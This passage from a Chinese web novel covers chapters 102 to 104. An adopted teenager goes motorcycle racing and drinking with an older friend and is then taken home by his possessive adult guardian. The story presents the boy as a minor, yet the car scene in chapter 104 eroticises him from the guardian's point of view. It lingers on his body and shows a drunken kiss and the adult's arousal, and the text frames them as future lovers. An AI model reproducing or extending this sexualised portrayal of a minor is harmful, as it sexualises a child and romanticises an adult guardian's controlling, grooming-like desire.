就像是真的是一个没有脾气的泥人一般。 但是青琅不信。 不说为什么一个人会平白无故对另一个人那么好,就说楚霄的下属对他那副恭恭敬敬的模样,他都不信楚霄是一个泥人菩萨。 他又不是有病! 楚青琅居高临下的凝视着男人, 脚下越发用力。 指尖摩擦, 他有些可惜那个匕首被丢了出去, 不然可以突然袭击一下子,看看男人到底会有什么反应。 仿佛从少年的眼中感觉到了这种纯然的恶意, 圈住脚踝的手缓缓收紧, 紧缚的力道使得皮肉发胀。 楚青琅感到不适,伸手就要打开男人的手。 却被一把攥住,拉了过去。 碎发晃动,眼眸张大,映出一张轮廓线条冷硬, 双目狭长的脸。 楚霄仰头看他,视线一如既往的平静冷淡,却宛如实质一般在面庞上燎过。 “他叫葛元。” 相比起他过于锋锐的长相,和削薄的唇,少年有着一张美而收敛的面孔,丰润微翘的唇瓣殷红。唇珠软舌隐藏在里面,只有撬开才能瞧见那湿濡软红 呼吸交融,两人的鼻梁都很高,互相抵着,能够感受到骨骼的角力和彼此的温度。 楚青琅的脑海中瞬间显现出一个高瘦的男孩影像。 当时不过十几岁的少年自己还是个孩子,就敢拽着他去找证据。 现在也不知道怎么样了。 不过再怎么样也不会比在福利院的生活更差。 楚青琅坐在桌边,脊背微弓,一直手腕被攥住连带肩膀斜斜下坠。 青色血管在皮肤上攀爬,宛如树枝停在下颌。 他朝着楚霄吹了一口气,歪头,露出挑衅的笑。 “我要是不去呢?” 楚霄手骤紧,又很快放开。 他松开手捏了一下少年的后颈,掌心中带着湿凉,仿佛出汗了一般。 楚青琅不耐的放下脚踩楚霄的大腿。 只一下。 椅子后移发出声音,脚下猛地一空。 楚青琅刚稳住身子,就被人掐着腋下抱了下来。 脚踩到坚实的地面,他半靠着身后的桌子,看着楚霄伸手为他整理着衣领,眉眼含笑。 “不去就不去。”楚霄声音低哑,“只不过是捐了一栋楼而已,就当做慈善了。” 一栋楼?! 楚青琅太阳穴跳动了一瞬,他拽着男人的领子,咬牙,“你钱多了没处花是不是?” 楚霄摇头,抬手按住他的腰肢,用手掌隔开他身后坚硬的桌子。 他说:“你不花,就只能扔了。” 就像是他想的那样,少年表情变换了一瞬,还是答应了下来。 …… 楚霄找的学校是中高等年纪连着的,可以直接内部升学的七年制。 还是只有背景深厚才能进去的贵族学校。 而这种学校,会只因为一栋楼而收一个学生吗? 楚青琅对此表示怀疑。 “所以你已经快毕业了?” 他坐在学校餐厅中,支着下颌悠悠看着面前的人。 并不像楚霄说的那样一来就能看见元哥,而是等了大概一周,楚青琅和新认识的朋友准备去打球的时候才碰见的。 正好是中午了,所以两人就来到了学校的食堂聊了一会儿。 “对,现在只是偶尔回来,还有半个月就可以提交申请了,学校老师会根据绩点和发展确认是否能毕业。” 元哥已经成年,比起小时候瘦小的模样来说,长得高大健壮,面容是带着悍意的英俊,却有着一双格外不符的丹凤眼。 乍一看,和楚霄有着些许相似。 只是楚霄是线条深刻的双眼皮。 楚青琅听见,收回视线敲了一下脸颊。 就半个月了还说什么小伙伴在这里。 不知道的还以为他能和元哥一起上学呢。 楚霄这是故意的吧? 他心中诽腹着,口袋中的手机响起。 他拿出,看了一眼反手按灭重新塞了进去。 “走,我带你去逛一下我的社团。”元哥站起身,向他走来,只瞥见一道道信息在刷屏,不由问道:“是楚霄?” “你认识他?” 楚青琅躲开他伸出的手,慢悠悠的跟在他的一侧。 元哥哼了一声,“他去给你办理收养手续的时候我也在。” 后面那些个人死的时候,他同样在。 只是这些没有必要让楚青琅知道。 这是他和那个男人唯一的共识。 他们走下餐厅,元哥又说:“他不让你出来吗?” 楚青琅惊讶的偏头,“为什么这么说?” 元哥直直的看向前方,“你一直没有回来过,而且我又让他向你转交联系方式,你一直没有加我。” 他走的速度加快,声音却低了下来。 “你不会不加我的。” 这么笃定不对,他根本没有收到过什么联系方式啊。 楚青琅沉吟了一会儿,还是决定替楚霄扫一下尾。 他又一次按灭震动的手机说:“我当时受了一些惊吓,不能见生人,所以一直在家里调养。” 元哥的脚步猝然停下,楚青琅赶忙道:“已经好了,所以才出来上学了不是吗?” 为了让对方信服,他还弯起唇笑了一下。 两人对视,元哥忽地抬手捋了一下发,嗯了一声转身接着走。 少年小声的吐了一口气,快步跟上。 走到身旁时带着一股子香气。 元哥看着有些泛白的天空,细细嗅了嗅。 和小时候那种劣质的洗衣粉味道不同,是高级的调香,柔和冷冽,尾端泛着甜。 就像是将一块冰含进嘴中,麻木过后才能感受到口腔被划破后传来的腥甜。 社团在一栋单独的别墅内。 两人进去的时候里面并没有人,楚青琅看着客厅桌子上随处可见的各种零件工具,有些疑惑。 “你这是什么社团?” 元哥带着他走到桌子前,随手拿起了几个零件开始组装起来。 “发明社团吧。”他嘲讽的笑,说:“就算是贵族学校也会分成三六九等的,一些边缘人物加入不了那些射箭啊,篮球什么社团,就没有办法完成学分,很多人还挺苦恼。” 一只机械狗很快被他放到桌面上,随后手臂一推,将上面乱七八糟的东西都撇在了地上。 那只机械狗眼睛处闪烁着绿光,踩着光洁的桌面,走着小碎步朝着楚青琅搭在桌子上的手走去。 “好厉害!” 楚青琅抬手摸了下机械狗,发现他还会跟着他的手势转圈。 元哥看他惊讶的面容,一只紧绷的心弦悄然放松。 他此时才察觉下颌有些僵硬,不由得揉了揉,接着说:“所以我就成立了一个社团,对外称是搞搞小发明,也没有什么规矩,就是让大家有个地方呆。” 楚青琅察觉到他的声音这才完全的放松下来,甚至更加的意气风发,就像是第一次见面一样。 他笑着收回手,“你想让我加入?” 元哥很干脆的点了点头,“你现在是楚家的养子,可以随便挑选社团但是我想让你加入。” 楚青琅靠在桌面上,又仔细看了一眼地上的零件,弯腰捡起了几个,慢吞吞的组装起来。 “怎么说?” 元哥的视线在他的身上定了一下,将站立的机械狗拿起,重新拆开。 “虽然只是个抱团取暖的,但是里面的人还算聪明,也是我费心建立的,不想让它就此解散。” 修长白皙的手捏着金属零件看了看,又将其按到正确的位置,随着咔哒一声,整个枪/支被安装完成。 楚青琅举起它,对准了元哥的心脏。 “你想要人?” 元哥同样抬起手,将一个一摸一样的枪/支对准他。 肌肉撑起衣袖,面上带着兴奋的笑。 “是。” 话音落下,子弹发出。 “砰!” 一朵金属形状的花从双方枪口喷出,在空中绽开撞在了一起,啪嗒一声落在了桌面上。 楚青琅放下手,点头答应下来,“可以。” 根据入学前楚霄给他的资料。 元哥在外面开了一个科技公司,挣得钱一直在向福利院捐款。 这个社团估计就是他筛选人才的地方。 反正他也没事干,接下这个社团也无所谓,毕竟福利院的开销还是很大的。 “嗡——” 楚青琅坐在桌子旁的沙发上,拿着社团的内部资料看了一会儿,放在一旁的手机不住的震动。 元哥站在他的身后,俯身在耳边给他介绍,听见声音,抬眼冷冷的瞥去。 “青青,给它关机吧。” “不行,他估计是问我为什么没有回家,担心了。” 而且如果不接回去会更难缠。 “才下午五点,连夜生活都没开始。” “他有我的课程表,一结束就会让司机过来接我。” 估计就是司机已经到了却没有看见他,于是司机就直接报告给了楚霄。 楚青琅打开手机,看见上面发的一连串消息有些窒息。 明明是楚霄让他来上学的。 他来了,楚霄却又总是给他发消息。 他刚开始还会回,后面就真的懒得搭理了。 如果只是看内容,完全看不出来什么,都是一些简单的话。 像吃了什么?合不合口味?换个厨师?课难不难?同学好相处吗?诸如此类。 只是楚霄发的太频繁,前几天还是掐着下课时间偶尔给他发一条消息,现在却时不时的轰炸起来。 直到他回家才会消停,单纯的抱着他处理公务,还给他喂吃的喝的。 楚青琅头疼的按了下眉,伸手拿过手机,准备回拨过去。 一只手却覆上了他的手背,阻止了他的动作。 楚青琅疑惑侧头,却见元哥带着厌烦道:“你是他养子,又不是他老婆!而且就算是他老婆也不能这样骚扰,他是不是有病?不行你就跟我走,我同样养得起你。” 楚青琅:“” 不是。 楚霄就是单纯的占有欲强。 虽然他知道两个人日后是爱人关系,但是楚青琅并没有忽视他现在的年龄。 所以现在楚霄应该还没有爱上他。 而且他虽然之前抗拒,但是还是第一次真正的上学交朋友,总的来说还是很有意思的。 不过这样说来。 也就是说他没有必要回拨? 毕竟他现在还是个孩子! 外面世界这么好玩,他迷了眼,青春叛逆期到了很正常吧? 楚青琅心中小人转了个圈,很顺利的说服了自己。 元哥看他呆呆的也不说话,直接将手机从他手中抢了过来,扔到了一边。 “你怎么被他养的一点脾气都没有?这样很容易被欺负的知不知道?” 楚青琅仰头看他,神情迷茫,“啊?我?” 元哥不耐的啧了一声,将他拽起来,“走,我带你去玩,成天跟那个老男人在一起你都快成木头了!” 楚青琅踉跄跟上,走到别墅后面,看见车库里面停着一辆机车。 哑光黑的主色调,轮廓流畅优美。车身前倾,仿佛一只蓄势待发的猛兽,带着逼人的气势。 和元哥格外相配。 “干净的。”元哥抬手将头盔扔给他,看他接住后,又若有所思道:“他没给你安装监听器或者跟踪器什么的吧?” 楚青琅被头盔没有收敛的冲劲撞的掌心一麻,闻言挑眉反驳。 “怎么可能?他不会那样做,他顶多是嗯,比较担心我。” 元哥哼笑一声,也没说信不信,直接跨坐上机车,朝他招手。 “过来。” 楚青琅带上头盔,走上去,看了一会儿,在元哥的催促下同样跨了上去。 “搂紧我的腰,别掐,跟要干人一样。” 粗鲁的话中,元哥握着他的手,将他朝前一扥,瘦长指骨被按的交叉锁紧。 两人上身紧贴,楚青琅几乎可以感受到元哥说话时胸腔的震动,混着机车打火的轰隆隆的声音,将他的五感全然占据。 “走了,小屁孩。” 之前叫他娇气包,现在叫他小屁孩。 楚青琅双臂施力,按着他的胃给他来了一个腹击,感受到身前的人脊背微弓,呃了一声后呼吸变得深重起来。 他翘唇得意道: “元哥,别忘了你还有求于” 话音未落,一股强烈的后坐力就涌了上来,楚青琅下意识的闭上了嘴。 风声中,沙哑的声音不紧不慢。 “真娇气。” 说也说不得。 第103章 第 103 章 只是亲人。 黑色的机车宛如一道闪电。 直直劈向了不远处扎堆欢笑的人群旁。 轰隆隆的声音震耳。 人群明显瞧见了从远处过来的熟悉的车子。 很快欢呼的声音就响起。 “元哥来了!” “今天好玩了, 刚好林子也在,他老早就想和元哥比一场了!” “元哥!!!” 风声凛冽,楚青琅手指骨节被风吹出薄红,虽然还未到冬天, 但是夜晚的天气已经明显的冷了下来。 他们从市区来到这里, 一路上碰到了许多全副武装的骑着机车的人。 想必这里就是元哥说的好玩的地方了。 只是不知道是谁组织的, 除了盘旋的山路, 还穿过了一排废弃的居民区。隔离带后面还有着补给点,像是一个封闭道路, 据楚青琅目测,整个场地不会少于三十公里。 余光中,元哥的发尽数被风吹起,侧脸轮廓分明,整个人格外的桀骜意气, 他显然也听见了那些人的呼喊,只是大吼了一句,“对面集合!” 一旁扎堆的人迅速掏出手机, 开始在群里分享这个消息。 “元哥是又要反跑了, 走走走!!!” “我们跟上去!!” 楚青琅紧紧的搂着元哥的腰, 下巴放到了他的肩窝处,眼珠转动, 可以看见身侧那些人欣悦的面容, 还有一闪而逝的靠在一辆摩托车旁冷冷瞧过来的男人。 仿佛感受到了他的注视,那个人翻身上车,作势要追上来。 元哥根本没有在意被落在身后的人,他挑眉炫耀。 “这里算是我们比赛的地方,怎么样?” 话一说完, 楚青琅就感觉到机车倾斜了一下,压着弯超过了一个车手,换来了一声怒骂。 元哥放声大笑起来,他前倾身子,又一次提了速,很快身后的人就再也瞧不见他的影子。 这次的压弯角度不低,但是楚青琅也能够看见柏油路上反射的光芒,和坚硬的地面。 肾上腺素快速分泌,心脏快速跳动着,他呼吸急促起来。 按照仅有的知识努力放松身体,手却不自觉勒紧了身前人的腰肢。 “你是想带着我去死吗?!” 虽然带着头盔,但是话一出口便被风声打散,楚青琅只能大声的吼起来。 应该是上山了,道路丝毫没有先前那么平坦,变得起伏不定,弯道也格外的多和急促。 元哥扯开嘴角,胸腔跟着震动。 “我十几岁还没有车子高的时候就在这里骑了,这里的路我闭着眼都能骑出去!” 楚青琅并不觉得这里有什么好玩的,不过是跑个车子,性命还在别人的手上。 他正准备开口说话,却听见了身后的轰隆声。 “有人跟上来了!” 不用他提醒,元哥早已经听见了熟悉的发动机的声音。 车子飞速前进,想着前面的地形,他的心中渐渐浮现一个念头出来。 两人四肢紧贴,温度在彼此的皮肉间传递,只是轻微的晃动,便能感受到对方的存在。 楚青琅在车子平稳时,渐渐放开手,准备握着身后的油箱或者握把,却被一把拽住了手。 “你想开吗?” 元哥这样说着,目光朝着前方升高又快速下落的地面看去。 楚青琅敏锐的感知到了不对。 要他开?怎么开? 握着他手腕的手冰凉粗糙,仿佛铁钳一般让他动弹不得。 虽然不知道元哥到底想要做什么,但是以楚青琅应付过那么多疯子的经验来说,他必须要果断拒绝。 “不要!”他大声喊,“你快点,都被人超过去了!” 确实,在他按住身后少年的手的时候,从身后跟过来的人已经超过他朝着目的地跑去了。 元哥收回手,重新握住了把手,感受着身体随着地形高度攀升又陡然落下。 听着身后的少年愉快的闷哼,他还是打消了身后的念头。 嗯,空中换人等两人在练练好了。 今天还是先让青青体会到这种速度带来的激情和快乐。 楚青琅不知道是不是说服了元哥,身前的人开车变得稳当起来,甚至还一直在向他传授着经验,让他记住路。 这一来,直接拉长了两人预计到达的时间。 等到楚青琅几乎学会的时候,元哥直接将车子靠边停下,换他上来坐到了驾驶位置上。 “最后五公里,你来跑。” 此时身前身后已经瞧不见一个人影,就宛如整条路上只有他们两人。 掌心中是被男人攥的发热的把手,身后的人已经坐好,手臂后放,并未像他那样搂紧他的腰。 “怕你紧张。” 面对他疑惑的眼神,元哥这样的回答着。 和坐在后面是完全不同的体验。 两边的景象快速后退,呼吸打在头盔反出湿热,糊在面上又快速冷下。 握着油门的手骨节凸出,几乎让他找到了在之前小世界开机甲时掌控一切的感觉。 原来这就是元哥说要带他来的原因。 楚青琅压着身体,双眼发亮,车子的速度也越来越快。 身后传来被风吹散的大笑。 “爽不爽?!” 楚青琅没有回答,只是在前方猛地倾斜,压下了车身,弯道超车。 被落在后面的人骂出声,他却只是露出了一抹笑来,漆黑的眼眸仿佛燃着一簇火焰。 元哥并未向他施加相反的力道,反而是双腿加紧,几乎是用下半身支撑起了整个身子,一只手臂松开攀到腰背。 轻柔的抚摸着他的腰线,将一直震动的手机掏出来,关机扔掉,靠近他快速而沉重的呼吸着,“放松,要上坡了。” 楚青琅根本没有在乎他的动作,神经紧绷的注视前方的道路。 他之前一直呆在楚家,楚霄也不会让他接触这种危险的东西,因此这算是他第一次接触到机车。 可惜的是最后的道路只有五公里,他很快就看见了前面早已等待的人群,还有他们身后亮着灯光的建筑。 那是一栋独栋别墅,院子中燃着篝火,有不少人将机车随意停放,和女伴男伴聚在一起交谈。 楚青琅直接将车子横在他们的面前。 下一瞬,巨大的欢呼声响起。 所有人都注视过来。 元哥早已跳下来,按住后座对他说话。 耳边依然是朦胧的轰鸣声,肆意潇洒的声音响起,却仿佛钻头一样直接穿透鼓膜。 “他们是在欢迎新人,青青,打个招呼。” 楚青琅指尖轻颤,摘下了头盔,当他那双漂亮的双眼横过去的时候,整个人群寂静了一瞬,随即爆发出更加热烈的呼喊,围了上来。 元哥瞬间被挤了出去。 楚青琅被人拉着询问姓名年龄,然后推着车子来到了赛车开始的地方。 “骑了多久了,技术不错啊!” “来比半场,回来后请你去后面玩!” 在这里,那个只有一面之缘瞧起来异常冷淡的男人已经等待了许久。 楚青琅被推过来时,他甚至没有投过来注视。 只是这种高冷却直接被一只只拍在他肩膀上的手给打破。 “林子,快去,你的目标就在那里。” “这小家伙有你当初的风采啊林子。” “wc我们现在可以有三个大帅哥了。” “!怎么说话呢?我们难道不帅吗?” 林子嘴角抽搐了一下,抖下落在他们身上的手,转头开始寻找起来。 “他之前和我比赛输了,一直不甘心。”不知道什么时候,元哥又凑了过来,手搭在楚青琅的肩膀上,小声说话,“现在估计是想要和我再比一场。” 楚青琅抬眼,正好和林子对视了一眼,看着他愣住的眼神,漫不经心的转移了视线。 “所以?” 元哥揉了揉他的头,被风吹冷的指尖刮着头皮,带来一阵酥麻。 “你们比一场啊,我在后面跟着。”他笑嘻嘻的道:“你还没玩尽兴不是吗?比完了我带你吃点东西去看日出。” 楚青琅给他翻了个白眼,严重怀疑他就是随便找了个借口,只是单纯的不想比赛。 但是元哥有句话说的对,他现在激情还没褪去,确实想要接着跑一圈。 于是他干脆的点头同意下来。 一旁被人推过来的男人冷着脸,身上穿着专业的骑行服,朝他伸手。 “杨林。” 楚青琅笑着回握,“青琅,叫我青青就好。” 一旁的元哥看了一会儿,忽地臂膀用力将他拉了过来,将下巴搁在他的头上说话。 “别废话了,我后面还有事情。” 十几人推着各种颜色的机车停到开始线前。 这些机车的价格有高有低,性能也并不相同,但是无人在意。 楚青琅的身上被那些热情的人带上了护具。 一旁的元哥依然是在学校的装扮,长腿点着地面,视线片刻不离前面的少年。 “预备!” 喊开始的人举起火把,一阵阵机车的轰鸣声中围观的尖叫声响起,随后那人大喊。 “开始!!!” 火把猛地劈下,一道火线猝然亮起,星火噼啪灼烧。 楚青琅猛地加速,率先冲了出去。 围观的人不断的拍手,伴随着不知道是谁放出来的摇滚乐,格外喧闹。 身后的人全力以赴紧紧的跟着,一旁那个冷漠的男人技术很高,在一个起伏的山道上,借助冲力直接超过了楚青琅。 元哥凑过来和他并排。 “别害怕!!!过了这一段后面就是拐弯了,他会降低速度的。” 楚青琅看他不知道从那里捞了一个机车,红彤彤的,上面还有着贴纸。 耳边的吵闹和音乐声褪去,除了发动机转动的声音此起彼伏,周围重新安静下来。 他总觉得自己好像忘了什么。 却什么都没想出来 楚家。 原先冷硬单调的房间多了许多毛茸茸的装饰,沙发上也摆放着一些柔软的兔子小羊等玩偶。 “砰!” 手机被撂在地上。 苍白修长的手捏着兔子的耳朵带起捞在怀中揉捏。 柔软洁白的毛发和可爱的面容,硬生生的将包它的人身上的冷淡阴郁的感觉驱散,变得可以亲近起来。 管家站在一旁,收回视线看着桌子上不知道加热了几回的饭菜。 他实在是有些想不通。 既然等的这么着急,为什么家主还一直不允许他们去搜查。 毕竟给小少爷安装的手机是带着定位的。 直接去找不就行了吗? 楚霄面无表情的望着手中的兔子,这是少年第一次发话购买的。 但是只是玩了一会儿,就把它扔到了一旁,再未曾触碰过。 还是孩子心性。 所以贪玩点也是可以理解的。 他想着,手却依然不受控制的摸到了被扔掉的手机。 按亮。 屏幕上依然未曾出现他期待着回复。 根据学校的监控来看,少年是被葛元带走了。 葛元是有分寸的,他不用着急。 毕竟他能够用各种办法控制他。 他没有必要着急。 但是心中却依然像是燃着一把烈火,将他烧的烦躁。 楚霄瞳孔浓黑,唇线平直,眼也不眨的盯着上面显示的数字。 此时已经是凌晨一点半了。 从下午的五点到现在,已经过去了将近七个小时。 少年依然没有给他回复片句消息。 不应该这样的。 他的孩子,向来乖巧。 “备车。” 冰冷声音落下,一旁的管家瞬间松了一口气。 “是。” 狂放的音乐声在耳朵边炸开。 篝火旁有着不少的人骑着机车一圈圈的绕着,机车外面同样有着一圈人穿的单薄随着音乐跳起舞来。 天台上,楚青琅醉醺醺的倒在沙发上,眯着眼支头看元哥摆弄着什么。 视线涣散了一会儿猛地聚焦,他发现那是一架望远镜。 楚青琅想起元哥说带他去看星星。 所以应该是天文望远镜吧。 他站起身走了过去,依靠着头脑的清醒,努力走着直线。 来回骑车骑爽了之后,楚青琅就被元哥拉进了聚会中。 中间玩了一些游戏,并且不知道为什么,他的运气好像格外的差,于是就一直输。 刚开始元哥还顾及着他的年龄一直没有让他喝酒,但是后面楚青琅喝饮料都快喝吐了,就直接将面前的酒一口闷了。 他之前从未喝过酒,但是除了第一口难喝一点,好像还可以接受。 于是就成功的把自己灌醉了。 “唔!” 元哥刚找好角度,就看见一道身影朝他扑来,连忙伸手去接。 成功接住了一个漂亮的醉鬼,但是调好的角度却依然被醉鬼的一只手给拍歪了。 “别乱动,还想不想看星星了?” 元哥让腿软的少年搂紧他的脖子,扣在怀中,单手拿着望远镜重新调整起来,不时弯腰看看。 “让我看!” 醉鬼却突然挤过来,将他顶开,握着望远镜就开始四处看,手中还在随意的拨弄着焦距。 元哥看了一会儿,放弃说话,干脆充当人形支架让少年不至于躺下去。 楚青琅摆弄着,从天上到树丛间,再到近处因为再次失败而坐在一旁思考人生的杨林,得意的弯唇笑了一下。 他真厉害。 表扬完自己后,他又觉得身后的人距离太近了,而且搂的他有些不舒服。 楚青琅准备站起身将人推开。 却猛地看见一辆熟悉的车子沿着颠簸的道路开了上来。 好眼熟。 脑海中的思维很清晰,他反应了一下,啊了一声。 “是楚霄。” 楚青琅拉开腰上的手,就要朝着楼梯走去。 脚下一空,整个人腾空而起。 等缓过来,他就看见元哥面无表情的脸,“你去干嘛?” 楚青琅理直气壮道:“我要去找楚霄。” 元哥皱了下眉,胸膛深深的起伏,“你说了,要陪我看日出和星星的。” “但是我现在想见楚霄。” 楚青琅揽着他的脖子,伸手捏着他的脸,将元哥不情愿的脸捏的扭曲,自己又率先笑了起来。 眼睛闪亮亮的,白皙的皮肤上覆着薄粉,唇殷红水润。 靠近时带着甜甜的果酒气。 “快带我去!” 最终元哥还是败在了他绵绵的语气下,甚至在他的催促中提前站在了别墅下等着远处的人到来。 “渴。” 少年温热的呼吸扑洒在脖颈,耳垂被轻轻的啃噬着,舌尖轻舔。 仿佛一道雷从天劈下,元哥手软了一瞬,怀中的人猛地坠下,随后又被重新抱稳。 他偏头,看着已经朝着他嘴边攀来的少年低声说:“好,我给你找水。” 但是他的脚底却像是打了钉子一样一动不动。 瞳孔紧缩,咽喉干涩起来。 在那唇慢吞吞的移动到唇角时,一股巨力传来,将怀中的人直接抢走,随后腰腹一痛。 “草!谁?!” “趁人之危,我记得没人教过你这个。” 冰冷危险的声音从身前传来,他倒在地上,捂着小腹侧身咳嗽了几声,恼怒的抬头看去。 楚霄正目光森冷的盯着他。 而那个少年,正趴在男人的身上,像小兽一般在他的脖颈间蹭来蹭去,嘴里还嘟囔着什么。 元哥忍痛的神情瞬间收敛,他哼了一声。 “青青只是喝醉了,谁趁人之危了?” 楚霄横过少年肩背,按着少年的后颈,将他压在自己的脖子旁,任由他用牙齿啃噬着皮肤。 他说:“滚!以后离他远点。” 元哥面容一变,他知道面前这个男人是认真的。 第一次见面,这个男人就将一叠合同甩到了他的面前。 还告诉他,他们有着血缘关系。 只是他是小三生下来的孩子。 但是男人并不准备认他,他已经有了一个想认的弟弟了。 所以,他只能拿走钱,或者被送出国。 就像是当初那样,滚烫的血液瞬间凉下来,他上前一步,愤怒彻底淹没了他的头脑。 “你把他当什么了?奶娃娃?必须要你的庇护才能活下来?” “我为他付出了这么多,还是朋友,我们亲一口怎么了?” 楚霄却置若罔闻,转身就要抱着楚青琅朝着远处走去。 一道话语却突然阴森森的响起。 “哥,就算你给我赶出去了,他依然会有别人,朋友,爱人,到最后会结婚生子,你永远只是那个养父,亲人!” “赶我走?你凭什么?” 楚霄脚步凝滞一瞬,他声音冷漠。 “凭你花的是我的钱。” 身后的人没有回复,他在怀中人的哼唧中重新迈开了脚步。 第104章 第 104 章 火气。 “乖, 很快就到家了。” 轻柔的话语在耳边响起,后背颈项传来熟悉的轻拍,悉悉索索的衣物摩擦声很快安静。 掌心下是刻意放松后的软韧肌肉,手感很好。 楚青琅慢吞吞的摸着, 将整个人缠在了男人的身上。 没有丝毫的警惕意识。 这样可不行, 以后被欺负了怎么办? 楚霄垂眼, 盯着颈侧已经意识不清的少年, 英俊的面容几乎可以凝出冰碴。 他接过司机递过来的水,拧开。 “喝水。” 冰凉的液体涌进咽喉, 激的楚青琅微微睁开眼睛。 模糊的视野中,是一张熟悉的带着重影和模糊的五官,那张嘴张张合合,劝诱着什么。 听在耳朵里面,就像是蜜蜂一样嗡嗡嗡的。 烦人。 楚青琅倾身伸手捂住那张嘴, 唇边的矿泉水瓶子被带到,洒了两人一身,楚霄肌肉紧绷了一瞬, 连忙将水瓶扔到一旁。 抬眼却看见那张带着薄红的面孔靠近。 “别动。” 唇嘟囔着, 清甜的果酒香混着冰凉水汽, 随着呼吸传遍全身,让人不自觉的发抖。 浸水琉璃般的眼瞳距离极近, 仿佛审视。 楚霄喉结滚动, 呼吸急促,温度在迷蒙的接近中升高,他的脊背发麻,牙不自觉的咬紧,最终带着水渍的手掌结结实实的落在了少年的腰肢上, 此时的少年不像是刚见面那样可怜单薄。 他幼稚的面容已经渐渐长开,却还没有加上纯然的男性色彩,便更加凸出瑰丽五官和神情中无所畏惧的肆意。薄薄的肌肉覆盖在了四肢和小腹,身形修长漂亮,骨骼线条利落。 但是对于成年男人来说,却依然带着稚气,就连腰肢都几乎一只手可以掌握。 施加些许的力气,那腰腹便扭动一下,好似挣扎,但是因为是熟悉的人,便很快放松下来,任由他控制着自己的弱点。 车子突然晃动了一瞬,司机在前面道歉,少年却额头下滑猛地砸在他的眉骨上,模糊发出了一声泣音,“呃,痛。” 向来少年自己痛一分,便要他痛上十分。 于是捂住嘴的手拨开男人的唇瓣,细长白皙的手强硬的伸进口腔,压着舌头翻搅划动,毫不收敛的力气划破腔肉,鲜血混着疼痛,腥痛连绵。 楚霄闭了闭眼,指尖却不禁压着单薄的衬衣陷入皮肉。 柔软温暖,有力坚韧,几乎让人爱不释手。 楚青琅醉醺醺的仰头顶了顶他,黑亮的眼眸撒娇般的弯起,手指压着舌尖,揉捻不断。 玩了一会儿,又无趣般的收回手,塌下了肩膀,彻底的贴在他的身上。因为他没有回话,便委屈的胡乱念叨着他的名字。 “哥,哥哥,楚霄,楚霄,楚霄。” “你好多脸好晕,别动了” 鼻尖互相顶着,蹭着,两人的唇瓣也不经意间的摩擦到,楚青琅下意识的张嘴咬了一下,舌尖习惯性的朝里面舔舐。 楚霄耳边轰然一声,世界在这一瞬间停滞,只剩下唇瓣前柔嫩的触感。 楚青琅却并未注意到,舔了几下后,因为没有回应他悻悻收回了舌。 在感觉到周围的环境逐渐平稳后,就一头栽倒在男人的怀中,彻底被困意俘虏。 楚霄眼皮痉挛了一瞬,眼前的视野放大扭曲,脊背冒出冷汗。 他望着偏头安睡的少年,窗外光影明灭,在他脸上打出阴翳,漆黑的眼眸映出的人,仿佛沙砾不断生长,直至使他血肉模糊。 他养大的孩子,为什么总让他感到痛苦? 又或者,在他做出抛弃血缘的决定后,就已经注定了他的后果。 少年单薄的衬衣早已被蹭的凌乱不堪,光洁肩头裸/漏,锁骨随着呼吸起伏,胸膛被水浸湿显出点点轮廓,夺人呼吸。 这熟悉的一幕,几乎让楚霄分不清现实和梦境,他下意识想要拿来毛巾将少年包起,却在碰到的瞬间发现当时的孩子已经长大了。 但是对他来说,依然应该只是个孩子。 楚霄彻底清醒起来。 他咽下积蓄在咽喉的血液,克制的收回了手 “少爷,少爷。” 恭敬的声音从门外传来。 楚青琅捂着头开门后,脚步发飘的走进浴室洗漱。 管家看着他离去的背影,笑着说:“少爷,该用早餐了,家主已经在下面等着了,您第一次喝酒头疼是正常现象,等一会儿喝点蜂蜜水缓缓就好了。” “我昨天怎么回来的?” 很快,楚青琅连脸都没擦就走了出来,他随手拨弄了一下发,拿着管家递给他的衣服换了起来。 管家垂眸,“是家主一直等不到您,就去找您了。” 所以,昨天是楚霄把他带回来的? 楚青琅晃了晃脑袋,试图从凌乱的记忆中找出痕迹,但是这种行为除了让他感受到太阳穴一抽一抽的疼外,根本没有什么别的用。 应该没有发生什么,如果楚霄真的生气的话,当时应该就给他叫醒质问的。 怎么会像现在这么安生。 不过以防万一,等会去问一下元哥好了。 都是因为他非要带着他玩什么游戏,到时候真的面对家长的铁拳也是他活该。 楚青琅脚步轻快的走下楼梯,来到了脊背挺直的楚霄的旁边。 坐下后,他顺势摸了一下兜,发现空荡荡的。 他疑惑道:“我的手机呢?” 神情平静的楚霄将他的一举一动收入眼眸,眼中闪过一丝戾气。 “找不到就重新去买一个。” 楚青琅皱了下眉,“这样里面的联系方式就都没了。” 话语落下,身侧传来一道金属碰撞的刺耳声响。 楚霄放下手中的刀叉,抬头凝视着他,“你是想要谁的联系方式?” 情况好像有那里不对。 楚青琅歪了下头,手臂伸出,点了点男人放在桌子上的手背,“元哥的啊,我准备接手他那个社团,当然要经常联系了。” 最重要的是看一下男人带他走的时候是什么态度,来决定一下他接下来还能不能接着出去玩。 温热的触感轻易拨动心脏,但是面前的少年眼眸透亮,神情诚挚。 完全没有发现他那种肮脏心思。 就像是葛元说的,他在青琅的心中是哥哥,是家长,却一定不是朋友,和爱人。 但是,没有他的允许,谁也不能靠近他的孩子。 楚霄站起身,垂眸看着少年,管家端来蜂蜜水安静的站在一旁。 “我会让管家去找。” “谢——” 楚青琅仰头,笑着准备说几句软话,但是下巴却突然被掐住,玻璃杯怼到了嘴旁。 液体倾斜,甜蜜的香气窜进鼻腔,还没等他反应过来,就已经就着楚霄的手将一杯的蜂蜜水喝了进去。 到了最后,吞咽的急了还呛了一下。 “咳咳!楚霄你发什么疯?!” 楚青琅眼尾被逼出红,瞪着缓缓收回手的男人。 咔哒,空荡荡的被子折射出璀璨光彩。 骨节分明的手拂过他的眼,将那水意抹去。 楚霄表情平静,声音冰凉。 “葛元毕业去国外了,他的联系方式不需要。至于那个社团,你想接手就接手,以后记得准时回家,别让我去找,如果再让我找一次,你就不用去上学了。” 一旁的侍从赶忙递给他手套,男人站在那里为自己戴上,又幽幽盯着他冷声道:“以后别喝酒。” “楚霄!” 他猛地站起身,男人却仿佛丝毫没有听见一般,脚步平稳的朝着外面走去。 楚青琅看着他的背影,本来被蜂蜜水安抚的神经又突突的跳动起来。 自从他来到楚家,男人从未用这种态度对待他,一直都是平静温和甚至带着宠溺的。 手中的刀叉被摔在桌子上又弹起滚落在地。 洁白干净的运动鞋毫不留情的踩过同样朝着外面走去。 他好像试出男人的底线了,但是心中却没有什么开心的感觉。 反而烦躁极了。 楚青琅坐在车上去学校 ,冷眼看着前面的黑车,吩咐道:“加速。” 